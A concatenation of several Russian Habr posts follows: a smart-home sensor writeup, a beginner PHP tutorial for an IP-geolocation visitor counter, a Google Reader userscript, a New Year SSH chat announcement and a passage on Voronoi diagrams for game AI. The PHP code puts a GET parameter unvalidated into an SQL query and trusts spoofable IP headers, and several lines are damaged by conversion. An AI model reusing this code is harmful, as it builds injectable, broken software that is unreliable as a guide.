1. [Контроллер с программируемой логикой ОВЕН](https://owen.ru/).
2. Модули счётчика импульсов от разных производителей, например [вот](http://ttronics.ru/?menu=msi6e).
3. Универсальный проводной контроллер [Мега](https://www.ab-log.ru/smart-house/ethernet/megad-328) с возможностью интеграции в систему умного дома.
Расскажу обо всем подробнее. Перед тем как покупать что-либо, я решил обратиться с запросом к первому найденному варианту — к ОВЕН и в его техподдержке мне буквально написали, что моя идея влетит в копеечку. Ответ техподдержки:
```
"В целом система получается достаточно дорогостоящей + реализация ПО под Вашу задачу – сложное.
...
Можно и более дешевый, но WEB-визуализации у них нет. Тут потребуется Scada система уже для ПК. WEB-визуализацией обладает только ПЛК323 и СПК207. У них в маркировке указано WEB при заказе.
Но, к любому ПЛК, по любому интерфейсу связи можно сделать визуализацию (это не WEB-визализация). Также, у наших коллег есть опыт применения iRidium Mobile для реализации приложений для смартфонов/планшетов, для управления контроллерами. Еще, как вариант, применение ПЛК110 [М02]. По Ethernet к роутеру.
Также рекомендую посмотреть каталог проектов http://www.owen.ru/projects с фильтрацией по «Решения для автоматизации инженерных систем зданий».
```
Получается, что проект может обойтись очень дорого, а тратить несколько десятков тысяч рублей на это мне совершенно не хотелось, но удаленный учёт все же хотелось иметь, поэтому я перешёл к следующему варианту.
Вторым вариантом была программно-аппаратное решение по учету импульсов от одного из российских производителей, но эта система была закрыта и позволяла только учитывать импульсы, а мне хотелось иметь и другие функции умного дома — такие как детекция уровня шума в децибелах и учёт температуры стояков. Цена вопроса данного варианта составляла около 5 тысяч рублей, насколько я помню.
Поэтому я продолжил гуглить дальше и в поисках третьего варианта и в итоге наткнулся на Мегу — проект Андрея Буртового из города Тольятти, который вырос из простого хобби в коммерческий проект. В нём подкупало соотношение цены и заявленных возможностей — по цене комплект (контроллер и модуль только с аппаратно-конфигурируемыми входами) выходил примерно на уровне второго варианта — простого счетчика импульсов с веб-интерфейсом. Но при этом появлялась возможность интеграции с существующими [программными хабами](https://www.mysensors.org/controller).
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/bc0/c2e/c1b/bc0c2ec1ba14bbae9284b3692ca18a01.jpg)
После выбора и монтажа оборудование в *2016 году «сердце» начинающей умнеть квартиры выглядело так. От обилия блоков питания я потом избавился (фото ниже)*
Провода всё таки нужны
======================
Поскольку все три найденных решения были проводными, мне пришлось тянуть витую пару UTP cat.5E до каждого из счетчиков. Ещё я захотел добавить несколько недорогих датчиков и поскольку выбранный контроллер Мега был проводной мне пришлось разработать схему что и куда надо протянуть, чтобы удовлетворить все потребности в проводах. Ещё решил поставить следующие датчики:
* Улавливания наличия газа на кухне (т.к. в доме есть газ).
* Температурный датчик, который отображает температуру, влажность и атмосферное давление и текущий уровень освещенности на улице.
* Датчик на батарею, чтобы знать её температуру.
* Датчик открытия двери — простой геркон.
* Температурные датчики на холодную и горячую воду.
* Датчик шума в гостиной.
Схема протяжки витой пары выглядела так:
*![](https://habrastorage.org/r/w1560/getpro/habr/post_images/f5b/8cd/a67/f5b8cda670c47af032f440102c7abff4.png)*
*Схема прокладки витой пары в двухкомнатной квартире 47 кв. м. и на лестничной площадке*
Штроб в квартире не было сделано — всю витую пару удалось протянуть в пластиковых коробах (размером 15х10 мм), расположенных чуть выше уровня плинтуса.
В этом месте необходимость сказать, что в хороший существующий ремонт вписать всё это будет весьма проблематично, но в этой квартире его не было и терять было нечего.
Также мне пришлось разработать схему подключения датчиков непосредственно к контроллеру. Схема подключения датчиков к Меге в варианте 2016 году ниже:
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/4b0/a45/86b/4b0a4586bf01c0fe33309d1dec424247.png)
*Схема подключений датчиков на Мега-328*
Через пару лет в 2018 году я заменил Мегу-328 на более новую 2561 и избавился от аналоговых датчиков, которые иногда работали некорректно и зависали, а для исправления требовалась полная перезагрузка контроллера. После замены я поставил больше точных цифровых датчиков c I2C интерфейсом, объединив их на нескольких портах:
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/b67/82f/ed1/b6782fed1e248f604e22f9ca6bef70b3.png)
*Схема подключений на Мега-2561*
Датчики температуры
===================
Для измерения температуры часто используются датчик DS18B20, который представляет из себя цифровой термометр с интерфейсом 1-Wire, который может снимать показания в диапазоне -55...125°C. Для конкретно моего контроллера DS18B20 датчики можно подключать шиной — это значит по нескольку датчиков на один порт, что очень экономит порты, и из-за этого автоматизация выходит ещё дешевле.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/e87/082/96b/e8708296bcfe8fefdd49863d84b7c265.jpg)
*Внешний вид датчика DS18B20 для закрепления установки на батарее отопления*
В Home Assistant эти данные с одного порта разбираются очень просто — у каждого из этих температурных датчиков есть [свой уникальный адрес, по которому они и распознаются контроллером](https://github.com/empenoso/Home-Assistant_two-bedroom-flat/blob/master/configuration.yaml#L83).
Главный недостаток DS18B20 — они реально очень мелкие и поэтому электрику с ними работать сложно и непривычно.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/9fb/755/0fe/9fb7550fea126c4853379cbb471d04ba.jpg)
*Датчик DS18B20 в термоусадке, закрепленный на батарее отопления*
Интеграция квартирного домофона в общую систему
===============================================
Квартирный домофон тоже подключен к общей системе, но только в информационном режиме — вызов виден, но открыть дверь нельзя. Подключение осуществляется через датчик [U-Sensor (5В),](https://www.ab-log.ru/smart-house/ethernet/u-sensor) который подключен параллельно домофонной трубке (координатный домофон).
Для справки — я недавно нашел решение, которое позволит не только видеть вызов, но и открыть дверь, но пока прочитал про это только в [чужой статье](https://mysku.ru/blog/diy/79838.html).
Датчики температуры на холодную и горячую воду
==============================================
Поскольку я уже не раз сталкивался с тем, что горячая вода была не всегда так уж и горяча, я решил добавить датчики температуры на воду, которые бы непрерывно фиксировали температуру для того чтобы контактировать с управляющей компанией, если будут проблемы с температурой воды. В качестве датчиков температуры воды я решил использовать [цифровой термометр DS18B20](https://market.yandex.ru/catalog--radiodetali-i-elektronnye-komponenty/61856/list?text=DS18B20&local-offers-first=0), который выпускается в разных исполнениях, в том числе и в водозащищенном.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/7d9/488/851/7d9488851562d2cddf11dd271899ffa7.jpg)
Цифровые термометр DS18B20 с интерфейсом 1-wire, закрепленные на стяжках.
Дисплей у двери
===============
Вообще, я нашел идеальный формат панели управления у двери [в своей статье на Хабре](https://habr.com/ru/post/482800/), но это случилось только в начале 2020 года. А этот дисплейчик для отображения времени и погоды за окном у входной двери был установлен гораздо раньше, за пару лет до этого момента, и работает до сих пор.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/793/121/4d0/7931214d0ae1d48d774c50757bbf7b7a.jpg)
*Внешний вид — OLED дисплей 128х64 на SSD1306 с управлением по I2C в коробке заводского изготовления*
Дисплеем надо управлять и в данном случае я делаю это через контроллер Мега, посылая управляющие сигналы с управляющего программного хаба. Вот мои варианты правил управления этим дисплеем для систем [openHAB](https://github.com/empenoso/openHAB_two-bedroom-flat/blob/master/openhab%202.2.0/rules/default.rules#L90) и [Home Assistant](https://github.com/empenoso/Home-Assistant_two-bedroom-flat/blob/master/automations.yaml#L47).
Датчик шума внутри умного дома
==============================
Это отдельная и очень длинная история, которая растянулась на несколько лет поисков из-за того, что я хотел использовать дешевые датчики, но как оказалось, для корректного получения уровня шума в децибелах, это невозможно.
Почему я вообще заинтересовался шумом? Существует допустимый уровень шума, который установлен в законе о санитарно-эпидемиологическом благополучии населения, а также СанПиН 2.1.2.2645-10 и СН 2.1.8.562-96. По этим правилам дневное время — это время с 7:00 до 23:00, ночное — с 23:00 до 7:00. Нормальный уровень фонового шума для жилых комнат и квартир днем — 40 децибел, ночью — 30 децибел. Максимальный уровень непостоянного шума — 55 децибел в дневное время и 45 децибел в ночное. Нарушением считается любой звук, который превышает норму и мешает жильцам в любое время, кроме новогодней ночи.
Сначала я пытался использовать [дешевые модули, которые заявлены как модули детекции шума](https://www.google.ru/search?q=sound+detection+module), подключая их к АЦП контроллера Мега чтобы определить уровень шума, но это было безрезультатно. Одна из попыток на фото ниже:
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/b83/a18/113/b83a181139ef246c7176a19121777e50.jpg)
*Один из датчиков, подключенных к аналого-цифровому преобразователю (АЦП) Меги*
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/9e2/c90/134/9e2c9013479ea0aa34b5066c1dab1bfa.jpg)
*Так выглядел датчик, приведенный выше в веб-интерфейсе Меги*
Контроллер видел эти дешевые датчики, получал с них какие-то цифры, но эти значения с реальным уровнем шума никак не коррелировались.
Первые пару лет уровень шума хоть и очень опосредованно удавалось получать с [USB микрофона](https://www.aliexpress.com/wholesale?SearchText=Mini+USB+2.0+Microphone+MIC+Audio+Adapter+Portable), воткнутого в порт Raspberry Pi через bash-скрипт, выполнение которого вызывалось из openHAB:`#!/bin/bash`
```
/usr/bin/arecord -D plughw:1,0 -d 15 -f S16_LE /home/openhabian/USB_dB.wav 2>/dev/null;
sleep 15;
sox /home/openhabian/USB_dB.wav -n stat 2>&1 | sed -n 's#^Maximum amplitude:[^0-9]*\([0-9.]*\)$#\1#p';
```
Вот мой скрипт [на GitHub](https://github.com/empenoso/openHAB_two-bedroom-flat/blob/master/openhab%202.2.0/exec/USB_dB.sh#L1). Полученное значение Volume adjustment пересчитывалось в децибелы уже внутри [правил автоматизации OpenHAB](https://github.com/empenoso/openHAB_two-bedroom-flat/blob/master/openhab%202.2.0/rules/default.rules#L262). Конечно это был «костыль», но хотя бы, опосредовано, он работал.
В 2016 году я даже пытался найти формулу для расчета корректного значения уровня шума в децибелах, основанную на показаниях шумомера в Nexus 5 и значениях, получаемых с USB микрофона и вывел её (на скриншоте ниже `y = -0,0000067x3+...`). Это несколько месяцев работало, но потом уровень получаемых с микрофона цифр неожиданно уплыл и больше не возвращался. После этого я нашел [другую формулу](https://forum.arduino.cc/index.php?topic=376308.0): `[dB = 20 x log10(A)]`, которая и показана в файле [с правилами для openHAB](https://github.com/empenoso/openHAB_two-bedroom-flat/blob/master/openhab%202.2.0/rules/default.rules#L262).
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/747/933/f36/747933f360c7a087a433a2e9a6824293.png)
*Попытка вывести формулу, основанную на показаниях шумомера в Nexus 5 и значениях, полученных с USB микрофона*
Недостатками решения с USB микрофоном были:
1. Возможное нарушение конфиденциальности — хотя звук в привычном понимании и не записывался и анализировался только wav файл, но это все же был USB микрофон.
2. Невозможность выноса — удлинить USB кабель больше чем метра на три не представляется возможным.
3. Неточность — уровень измерений плавал — и в какой-то момент из графика было понятно что шум усилился, но на сколько сильно это произошло в реальности было непонятно.
Эпопея с поиском доступного решения завершилась только в 2019 году, когда мне подсказали решение — плату [Gravity: Analog Sound Level Meter от DFRobot](https://wiki.dfrobot.com/Gravity__Analog_Sound_Level_Meter_SKU_SEN0232), которая хоть и вышла по цене около 3,5 тысячи рублей, но закрыла все проблемы и с расстоянием и с конфиденциальностью и конечно же с точностью.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/f4d/174/55e/f4d17455eeebd07a69c4d100c83554a3.jpg)
*Плата измерения уровня шума от американского производителя DFRobot*
Для модуля измерения уровня шума даже не потребовалось сложное правило пересчета — внутри Home Assistant это происходит [на уровне описания элемента](https://github.com/empenoso/Home-Assistant_two-bedroom-flat/blob/master/configuration.yaml#L102):
```
- platform: mqtt
name: "Датчик шума"
device_class: signal_strength
state_topic: "megad/7/36"
value_template: "{{ (value_json.value|float/1023*3.3*50) | round(1) }}"
unit_of_measurement: "dBA"
```
Итог
====
Поскольку статья про автоматизацию квартиры получалась очень большая, я решил разбить её на две части, где в первой части, которая сейчас перед вами, я рассказываю только о том, как собирал информацию о состоянии квартиры с различных датчиков, а во второй части (**UPD: [уже готова](https://habr.com/ru/post/506550/)**) буду рассказывать о том, как уже принялся активно управлять всеми системами и выполнил:
* Полную беспроводную автоматизацию всего освещения.
* Кнопку «выключить всё».
* Полное удаленное обесточивание квартиры (включая и сам сервер управления вместе с контроллером) и обратное удаленное включение.
* Электронакладки (устройства поворота) для кранов на воду.
Также во второй части я рассказываю, что бы я сделал по другому, если бы делал это сейчас, спустя несколько лет.
Автор: [Михаил Шардин](https://shardin.name/).
1 июня 2020 г. | https://habr.com/ru/post/503646/ | null | ru | null |
# Определение местоположения пользователя по IP и создание счетчика посещений
Здравствуйте уважаемые Хабравчане! Создав свой сайт, я добавил на него счетчик посещений с какого-то сервиса (что-то типа qoo...), он работал с JS. И частенько обновлялся. Я не мог посмотреть, сколько в действительности было посетителей на сайте. Также я хотел знать, с каких IP-адресов ко мне заходят, а также к какой стране этот IP относится. Чтобы не создавать велосипед решил погулять на форумах. Нашел много разной информации в том числе и про SxGeo. Мне понравился данный вариант, так как там можно сразу узнать и страну и город. Так как я только начинаю изучать PHP и таких людей наверно много, я решил выложить данную статью. Только не кусочек кода, отвечающий за определение страны и города, а полностью рабочий код. Итак, начнем.
Для начала необходимо создать таблицу в БД куда будут заноситься данные о посетителях. У меня все поля кроме id, идут с типом varchar 255 и сравнением utf8\_general\_ci, для id тип int 10 атрибут UNSIGNED и конечно же A/I. Теперь создадим конфигурационный файл в котором запишем параметры подключения к нашей БД. И наконец скачиваем SxGeo.php и SxGeoCity.dat с сайта sypexgeo.net ссылки на оба файла: [раз](https://sypexgeo.net/files/SxGeo22_API.zip) и [два](https://sypexgeo.net/files/SxGeoCity_utf8.zip).
В SxGeo.php на 55 строке при обращении к библиотеке необходимо заменить название файла с SxGeo.dat на SxGeoCity.dat. Все, подготовительные работы окончены.
Создаем файл stats.php (название файла на ваш выбор) и в нем устанавливаем соединение с нашей БД:
```
php
include_once ('config.php');
include_once ('SxGeo.php');
$mysqli = new mysqli($server, $user, $pswd, $db);
if ($mysqli-connect_errno) {
printf("Не удалось подключиться: %s\n", $mysqli->connect_error);
exit();}
$mysqli -> select_db($db) or die ("Невозможно открыть $db");
if (!$mysqli->set_charset("utf8")) {
printf("Ошибка при загрузке набора символов utf8: %s\n", $mysqli->error);
exit();}
```
Теперь через функцию getRealIpAddr() получаем ip-клиента:
```
public function getRealIpAddr() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) // Определяем IP
{ $ip=$_SERVER['HTTP_CLIENT_IP']; }
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{ $ip=$_SERVER['HTTP_X_FORWARDED_FOR']; }
else { $ip=$_SERVER['REMOTE_ADDR']; }
return $ip;}
```
Следом проверяем, не бот ли к нам зашел в гости:
```
if (strstr($_SERVER['HTTP_USER_AGENT'], 'YandexBot')) {$visitor='YandexBot';} //Выявляем поисковых ботов
elseif (strstr($_SERVER['HTTP_USER_AGENT'], 'Googlebot')) {$visitor='Googlebot';}
else { $visitor=$_SERVER['HTTP_USER_AGENT']; }
```
и передаем в $ip значение функции getRealIpAddr().
```
$ip = getRealIpAddr();
```
Теперь создаем объект SxGeo и определяем город, страну и регион:
```
$SxGeo = new SxGeo('SxGeoCity.dat', SXGEO_BATCH | SXGEO_MEMORY);
$result = $SxGeo->getCityFull($ip);
```
Можете воспользоваться функцией var\_export(), чтобы посмотреть, какой массив данных он вам вернет, может Вам понадобиться что-то еще, кроме того, что я предлагаю. Идем дальше. Выбираем из этого массива значения страны, региона и города. И для освобождения места удаляем объект SxGeo.
```
$city = $result["city"]["name_ru"];
$region = $result["region"]["name_ru"];
$country = $result["country"]["name_ru"];
unset($SxGeo);
```
Теперь определяем дату, время и страницу сайта, на которую заходили.
```
$date = date("H:i:s d.m.Y"); // определяем дату и время события
$host = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; // определяем страницу сайта
```
Экранируем специальные символы в строке для использования в SQL выражении и заносим наши данные в таблицу.
```
$ip = $mysqli->real_escape_string($ip);
$date = $mysqli->real_escape_string($date);
$host = $mysqli->real_escape_string($host);
$region = $mysqli->real_escape_string($region);
$country = $mysqli->real_escape_string($country);
$city = $mysqli->real_escape_string($city);
$visitor = $mysqli->real_escape_string($visitor);
if ($query = $mysqli -> query("INSERT INTO `pre_visitors` (date, visitor, ip, country, region, city, host) VALUES ('".$date."', '".$visitor."', '".$ip."', '".$country."', '".$region."', '".$city."', '".$host."')")){
//printf("%d строк вставлено.\n", $mysqli->affected_rows);
}
else{
printf("Errorcode: %d\n", $mysqli->errno);
};
```
Проверку можете включить на время наладки, потом я в нем необходимости не вижу. Теперь нам нужно взять значения для нашего счетчика посещений. Саму форму счетчика я взял с того же сайта где и сам первый счетчик в divы по вставлял следующие значения:
**1.** Для тех, кто зашел впервые или с другого ip-адреса:
```
if ($result1 = $mysqli -> query("SELECT * FROM `pre_visitors` WHERE (visitor NOT RLIKE 'bot') GROUP BY ip ORDER BY 'id'")){
//printf("%d строк вставлено.\n", $result->affected_rows);
}
$res1 = $result1 -> num_rows;
```
**2.** Для всего количества просмотров:
```
if ($result = $mysqli -> query("SELECT MAX(id) AS id FROM `pre_visitors` ORDER BY id")){
//printf("%d строк вставлено.\n", $result->affected_rows);
}
$res = $result -> fetch_array();
```
Ну и закрываем соединение с БД:
```
$mysqli -> close();
?>
```
Кстати, не забываем подключить наш файл stats.php к index.php. Теперь визуализируем нашу таблицу. Создаем файл seestats.php и подключаемся к нашей БД:
```
php
include_once ('core/config_class.php');
$mysqli = new mysqli($server, $user, $pswd, $db) or die("Не могу соединиться с MySQL.");
$mysqli - select_db($db) or die("Не могу подключиться к базе.");
?>
```
Теперь немного HTML, чтобы вывести все это на экран. Я еще добавил выбор количества выводимых строк.
```
td.zz {PADDING-LEFT: 3px; FONT-SIZE: 9pt; PADDING-TOP: 2px; FONT-FAMILY: Arial; }
50
100
250
500
1000
```
Далее обрабатываем нашу форму, запрашиваем все поля с нашей таблицы исключая ботов и повторяющиеся ip-адреса, также запрашиваем MAX id для концовки нашей таблицы.
```
php
$lastid = isset ($_GET['visualcount']) ? ($_GET['visualcount']) : '10';
if ($query = $mysqli-query("SELECT * FROM `pre_visitors`
WHERE (visitor NOT RLIKE 'bot')
GROUP BY ip
ORDER BY 'id'
DESC LIMIT $lastid")){
//printf("%d строк получено.\n", $mysqli->affected_rows);
}
else{
printf("Errorcode: %d\n", $mysqli->errno);
};
if ($result = $mysqli -> query("SELECT MAX(id) AS id FROM `pre_visitors` ORDER BY id")){
//printf("%d строк получено.\n", $result->affected_rows);
}
$num_rows = $query -> num_rows;
$res = $result -> fetch_array();
?>
```
Создаем таблицу, стили и размеры можете использовать какие вам нравятся:
```
| | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- |
| **№ п/п** | **Время и дата** | **Данные о посетителе** | **IP/прокси** | **Страна** | **Регион** | **Город** | **Посещенный URL** |
```
Теперь через цикл заполняем нашу таблицу и закрываем соединение с БД:
```
php
while($row = $query - fetch_array()){
echo '| '.$row['id'].' |';
echo ' '.$row['date'].' |';
echo ' '.$row['visitor'].' |';
echo ' '.$row['ip'].' |';
echo ' '.$row['country'].' |';
echo ' '.$row['region'].' |';
echo ' '.$row['city'].' |';
echo ' '.$row['host'].' |
';
}
echo '| **Количество новых посетителей** |';
echo ' **'.$num\_rows.'** |';
echo ' **Общее количество посещений** |';
echo ' **'.$res['id'].'** |
';
echo '';
echo '';
echo '';
$mysqli -> close();
?>
```
Жаль только, что вы будете получать IP прокси-сервера, а не реального клиента.
Спасибо за внимание! | https://habr.com/ru/post/313676/ | null | ru | null |
# Починяем кнопку «Подписаться» в Google Reader
Привет!
Откровенно говоря, я не знаю, один ли я в своей беде, но за долгое время использования Google Reader в качестве RSS-читалки, мне изрядно надоела непропорциональная ширина кнопки «Подписаться» и всплывающего по её нажатии блока. Казалось бы, всё это фигня, но глаз мозолит очень сильно.
А что ещё прискорбнее, этот баг из старой версии ридера, переехал в новую. Да и вообще, у меня закрадываются подозрения, что я один кто с ним столкнулся…
Короче говоря, вот она, проблема:
![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/1e8/ce1/2a8/1e8ce12a83b3e0b1cf880ef3b5281d9a.jpg)
В конце концов я устал спотыкаться взглядом об этот элемент и набросал маленький юзерскрипт. А заодно и решил поделиться им с теми, для кого эстетика важна так жа как и для меня. И вот что получилось на выходе:
![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/b53/089/90b/b5308990b60adf9574c82bf2d095223c.jpg)
Вот такой небольшой фикс. Код скрипта предельно прост:
```
// ==UserScript==
// @name Google Reader Fix Up
// @namespace http://userstyles.org
// @description Приводит кнопку "Подписаться" и её всплывающий блок к нормальному виду в русской локазлизации Google Reader
// @author kafeg
// @homepage http://vk.com/kafik
// @include http://www.google.ru/*
// @include https://www.google.ru/*
// @include http://www.google.kz/*
// @include https://www.google.kz/*
// @include http://www.google.com/*
// @include https://www.google.com/*
// @include http://google.ru/*
// @include https://google.ru/*
// @include http://google.kz/*
// @include https://google.kz/*
// @include http://google.com/*
// @include https://google.com/*
// @run-at document-start
// ==/UserScript==
(function() {
var css = "";
css += "#quick-add-bubble-holder { width: 530px; }\n#lhn-add-subscription { width: 100px; }";
document.addEventListener("DOMContentLoaded",
function(){
if (typeof GM_addStyle != "undefined") {
GM_addStyle(css);
} else if (typeof PRO_addStyle != "undefined") {
PRO_addStyle(css);
} else if (typeof addStyle != "undefined") {
addStyle(css);
} else {
var heads = document.getElementsByTagName("head");
if (heads.length > 0) {
var node = document.createElement("style");
node.type = "text/css";
node.appendChild(document.createTextNode(css));
heads[0].appendChild(node);
}
}
}
, false);
})();
```
Работоспособность была проверена в Google Chrome 17.0.963.83 m.
Ну и чтобы установить скрипт одним кликом, достаточно нажать [сюда](http://grfu.googlecode.com/files/GoogleReaderFixUp-0.2.user.js).
**upd:** Добавил google.com | https://habr.com/ru/post/141010/ | null | ru | null |
# Традиционный новогодний Хабрачат-2023
![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/700/d2c/bb6/700d2cbb63c3f2725916a8c1f2b9f56e.jpg)В этом году нашей доброй традиции исполняется шесть лет.
Наша главная изюминка — чат, к которому можно подключиться по SSH, не отходя от терминала. От него в разные сети идут мосты, поддерживаемые энтузиастами, благодаря чему принять участие в Хабрачате также можно через IRC, XMPP, Matrix, Discord и Telegram.
> Подключайтесь: `ssh habra.chat`
>
>
Чаты в других сетях:
* SSH: [habra.chat](https://habra.chat)
* SSH (Yggdrasil): 222:bfd8:bfaf:6cca:ccf2:7b0a:d74c:ccd5
* SSH (I2P): wfdco4f7ny5a3pqkyxmzmdizdka4bhh2ttbkl7qsrdwpt3vka2iq.b32.i2p
* IRC: #habrachat @ libera.chat
* XMPP: [ny@conference.helldev.net](mailto:ny@conference.helldev.net)
* Matrix: #habrachat2023:matrix.org
* Discord: <https://discord.gg/zghRgcH3e4>
* Telegram: [@habrachat2023](https://t.me/habrachat2023)
* Web: <https://habra.chat/chat>
---
Если у вас возникли проблемы с подключением или вы хотите поднять мост к сети, которой нет в списке выше, отправьте письмо дежурному Деду Морозу — [mikhail@podivilov.ru](mailto:mikhail@podivilov.ru).
Помогали в разработке чата[@Boomburum](https://t.me/Boomburum)
[@GenkaOk](https://t.me/GenkaOk)
[@ivan\_theGreat](https://t.me/ivan_theGreat)
[@Ivanq\_SandS](https://t.me/Ivanq_SandS)
[@jeditobe](https://t.me/jeditobe)
[@userr901](https://t.me/userr901)
[@podivilov](https://t.me/podivilov)
С наступающим Новым годом! 🎄 | https://habr.com/ru/post/707764/ | null | ru | null |
# Как использовать диаграммы Вороного для управления ИИ
![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/854/72e/ae3/85472eae3f21727c4aadfe6e2d4163ed.jpg)
Какой маршрут будет самым безопасным, где больше всего врагов и где ближайшая аптечка? Все эти часто встречающиеся задачи о пространственных связях можно эффективно решать при помощи математических разбиений под названием «диаграммы Вороного». Из этого поста вы узнаете, как анализировать игровые карты и получать информацию, обеспечивающую реализм и успех искусственного интеллекта.
---
Пространственные отношения
--------------------------
Пространственное отношение — это любая информация, описывающая, как связан один объект в пространстве с другим. Примеры: расстояние между ними, площадь покрываемого каждым из них пространства и пересечение этих площадей, количество таких объектов, расположенных в одной области.
Такие отношения постоянно используются в видеоиграх и могут предоставлять очень полезную информацию ИИ, а также самому игроку.
---
У Вороного есть ответ
---------------------
*Диаграмма Вороного* описывает пространственное отношение между близко расположенными точками или их их ближайшими соседями. Это множество соединённых многоугольников, полученных из точек или локаций. Каждая линия «области» Вороного находится посередине между двумя точками.
Чтобы разобраться, взглянем на картинку:
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/68f/3dc/436/68f3dc436fad96e06d62ef41be9ef82f.jpg)
Как видите, каждая линия находится ровно посередине между двумя точками, и все они соединяются в центре. Добавим в сцену ещё несколько точек и посмотрим, что произойдёт:
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/c2d/7d5/6f9/c2d7d56f92f8db40003f0e1399ae0f9f.jpg)
Картина стала интереснее! У нас уже появляются настоящие области.
О чём же нам говорит каждая из областей? Мы знаем, что находясь в области, гарантированно расположены ближе всего к одной точке, которая тоже находится в области. Это многое говорит нам о том, что находится поблизости; таково фундаментальное пространственное отношение в диаграммах Вороного.
---
Выворачиваем Вороного наизнанку: триангуляция Делоне
----------------------------------------------------
Система, обратная диаграмме Вороного, называется триангуляцией Делоне. Эта диаграмма состоит из линий от каждой точки до её ближайших соседей, и каждая линия перпендикулярна пересекаемому ею ребру Вороного. Вот как это выглядит:
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/012/979/fb1/012979fb1c8f4520fb9d1db58017aaac.jpg)
Белым обозначены линии Делоне. Каждая линия Делоне соответствует одному и только одному ребру Вороного. Поначалу кажется, что некоторые из них пересекают несколько рёбер, но приглядевшись, вы поймёте, что это не так.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/df7/349/118/df734911841a7152f0f5a3ad1af1db3b.jpg)
На рисунке зелёная линия Делоне соответствует розовому ребру Вороного. Просто представьте, что розовое ребро идёт дальше, и вы увидите, что они пересекаются.
Благодаря триангуляции Делоне мы видим, что вместо многоугольников у нас теперь есть множество треугольников. Это невероятно полезно, потому что мы разделили область на треугольники, которые можно рендерить. Эту методику можно применять для тесселяции или триангуляции фигур. Отлично!
Кроме того, это отличный способ создания из множества точек графа на случай, если мы захотим перемещаться от одной точки к другой. Например, точки могут обозначать города.
---
Структура данных Вороного
-------------------------
Мы уже знаем, как выглядит диаграмма Вороного; теперь давайте посмотрим, как будет выглядеть её структура данных. Сначала нам нужно сохранить точки, являющиеся основой диаграммы Вороного:
```
class VoronoiPoint {
float x
float y
VoronoiRegion* region
}
```
Каждая `VoronoiPoint` имеет локацию `(x, y)` и ссылку на область, в которой она находится.
Далее нам нужно описать `VoronoiRegion`:
```
class VoronoiRegion {
VoronoiPoint* point
Edge *edges[] // our list of edges
}
```
Область хранит ссылку на её `VoronoiPoint`, а также на список ограничивающих её рёбер `VoronoiEdges`.
Посмотрим, как выглядит `VoronoiEdges`:
```
class VoronoiEdge {
VoronoiPoint* pointA
VoronoiPoint* pointB
float distance // distance between point A and point B
float x1, z1, x2, z2 // to visualize start & end of the edge
}
```
Ребро знает задающие её две точки, а также расстояние между ними. Для визуального отображения, а также для построения формы многоугольной области нам нужно хранить начальную и конечную точки ребра.
И на этом всё. Имея эту информацию, мы можем запросто построить диаграмму Вороного. Ниже мы узнаем, как диаграмма Вороного генерируется. Но пока посмотрим на паре примеров, как можно использовать эти данные.
---
Поиск ближайшей аптечки
-----------------------
Снова взглянем на диаграмму Вороного для точек.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/6cc/2eb/30f/6cc2eb30f8f91dce85a0543392806f96.jpg)
Если каждая точка обозначает аптечку, то мы довольно быстро можем определить, где находится ближайшая к нам, но сначала нужно определить область, в которой мы находимся. Диаграммы Вороного не обеспечивают эффективного способа определения области, однако для ускорения поиска мы можем хранить ссылку на каждую область в [дереве квадрантов](https://gamedev.tutsplus.com/tutorials/implementation/quick-tip-use-quadtrees-to-detect-likely-collisions-in-2d-space/) или в [R-дереве](http://en.wikipedia.org/wiki/R-tree). А узнав область, мы сможем узнать её соседей, и соседей её соседей.
Например, если аптечки в вашей области больше нет, то вам нужно найти путь к другой ближайшей. Из структуры данных и показанного выше псевдокода можно понять, что зная область, мы можем узнать её рёбра. А при помощи этих рёбер мы можем получить соседей. Будем брать ближайшего соседа и смотреть, есть ли в нём аптечка.
Здесь также можно применить триангуляцию Делоне. Она состоит и линий между аптечками. Тогда её можно обойти при помощи алгоритма поиска пути A\*, чтобы найти ближайшую аптечку.
---
Поиск безопасного маршрута
--------------------------
Заменим все аптечки вражескими сторожевыми вышками. Вам нужно найти самый безопасный маршрут между ними, чтобы не быть пойманным. Стандартный способ обхода графа в видеоиграх — использование [алгоритма A\*](http://en.wikipedia.org/wiki/A*_search_algorithm). Так как диаграмма Вороного — это граф, реализовать поиск очень легко. Нам всего лишь потребуется алгоритм A\*, поддерживающий общие структуры графов; планируйте всё заранее, и это поможет вам в будущем.
Подготовив граф, нужно назначить каждому ребру вес. Для нас значением веса будет расстояние до этих сторожевых вышек, и получить его можно непосредственно из структуры данных: каждое `VoronoiEdge` уже знает своё расстояние между двумя точками. Обычно чем меньше значение на ребре A\*, тем лучше, но в нашем случае лучше будет большее значение, потому что оно обозначает расстояние до башни.
Вот как выглядит начальный граф, если мы хотим переместиться из точки A в точку B:
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/cab/f97/d9b/cabf97d9bca898552adbdf4af9b67da2.jpg)
Приложив к каждому ребру вес, мы увидим, какой маршрут лучше будет выбрать:
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/c9f/5b2/0c1/c9f5b20c1d46a46a629a7c5f2f35622f.jpg)
